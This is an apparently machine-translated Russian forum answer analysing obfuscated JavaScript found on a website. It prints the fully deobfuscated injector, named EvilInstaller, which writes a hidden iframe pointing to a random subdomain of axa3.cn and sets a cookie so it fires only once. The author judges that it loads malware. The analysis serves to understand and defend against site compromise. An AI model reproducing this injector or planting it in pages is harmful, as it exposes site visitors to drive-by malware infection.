Вы можете просто пройти его поэтапно - так как это Javascript и он интерпретируется, он должен быть его собственным расшифровщиком. Если у вас есть доступ к интерпретатору Javascript из командной строки (например, Консоль в Firebug ), это будет довольно просто.
Я посмотрю и посмотрю, что произойдет.
Редактировать Я прошел через большинство из них - кажется, что последний шаг нетривиален, возможно потому, что он включает в себя "arguments.callee". Во всяком случае, я положил то, что у меня есть на Pastebin.
Интересно, что самой трудной частью этого было присвоение имен тарабарских переменных собственным именам. Это напомнило мне кроссворд или судоку, где вы знаете, как все связано, но вы не можете окончательно назначить что-то, пока не решите, каковы его зависимые части. :-) Я уверен, что если кто-то распознает алгоритм, он может дать частям более значимые имена, но в момент, когда происходит много XORing, есть две временные переменные, которые я просто оставил в качестве имен по умолчанию. так как я не знаю достаточно контекста, чтобы дать им полезные.
Окончательное редактирование : «Аргументы деобфускация не будет работать, потому что, разумеется, после переименования переменных и т. д. значение будет другим). В любом случае, вот ваш сценарий полностью:
function EvilInstaller(){};
EvilInstaller.prototype = {
getFrameURL : function() {
var dlh=document.location.host;
return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
},
path:'/elanguage.cn/',
cookieValue:1,
setCookie : function(name, value) {
var d= new Date();
d.setTime(new Date().getTime() + 86400000);
document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
},
install : function() {
if (!this.alreadyInstalled()) {
var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
try {
document.open();
document.write(s);
document.close();
}
catch(e) {
document.write("<html><body>" + s + "</body></html>")
}
this.setCookie(this.cookieName, this.cookieValue);
}
},
getRandString : function() {
var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
var o='';
for (var i=0;i<l;i++) {
o+=c.substr(Math.floor(Math.random()*c.length),1,1);
}
return o;
},
cookieName:'hedcfagb',
host:'axa3.cn',
alreadyInstalled : function() {
return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
}
};
var evil=new EvilInstaller();
evil.install();
Похоже, что он загружает вредоносное ПО из axa3.cn. Тем не менее, сайт уже подозревается интернет-провайдером, поэтому ничего не сказано о том, что на самом деле было там, помимо общей порчи.
(Если кому-то интересно, я использовал Pastebin в качестве псевдо-VCS для изменяющихся версий кода, так что вы можете увидеть еще один промежуточный шаг , немного позже моего первого поста редактирования. Это было довольно интригующе видеть разные слои запутывания и как они менялись.)